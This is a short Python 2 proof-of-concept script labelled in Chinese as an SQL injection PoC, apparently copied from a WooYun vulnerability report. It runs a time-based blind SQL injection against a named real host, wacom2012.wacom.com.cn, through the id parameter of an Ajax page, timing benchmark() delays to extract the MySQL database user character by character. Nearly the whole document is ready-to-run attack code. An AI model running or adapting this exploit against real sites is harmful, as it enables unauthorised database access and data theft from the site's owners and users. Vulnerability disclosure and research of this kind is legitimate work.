SQL注入POC

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
for payload in payloads:
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
s = "if(%s,benchmark(2000000,md5(1)),0)" % s
conn = httplib.HTTPConnection('wacom2012.wacom.com.cn', timeout=30)
conn.request(method='GET',url="/AjaxRequest/Ajax_Page.aspx?id=%s&method=getregprocity" % urllib.quote(s), headers = headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
#print time.time() - start_time
if time.time() - start_time >2:
user += payload
print '\n[In progress]', user,
#time.sleep(4.0)
break
print '\n[Done]MySQL user is %s' % user



from
http://wooyun.org/bugs/wooyun-2010-0170936http://zone.wooyun.org/content/25653